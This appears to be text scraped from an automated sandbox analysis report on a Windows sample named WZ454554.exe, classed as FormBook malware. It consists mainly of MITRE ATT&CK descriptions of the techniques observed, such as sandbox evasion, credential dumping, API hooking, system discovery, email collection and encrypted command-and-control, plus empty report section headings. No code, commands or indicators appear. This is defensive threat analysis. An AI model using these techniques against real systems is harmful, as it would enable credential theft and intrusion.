Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report WZ454554.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre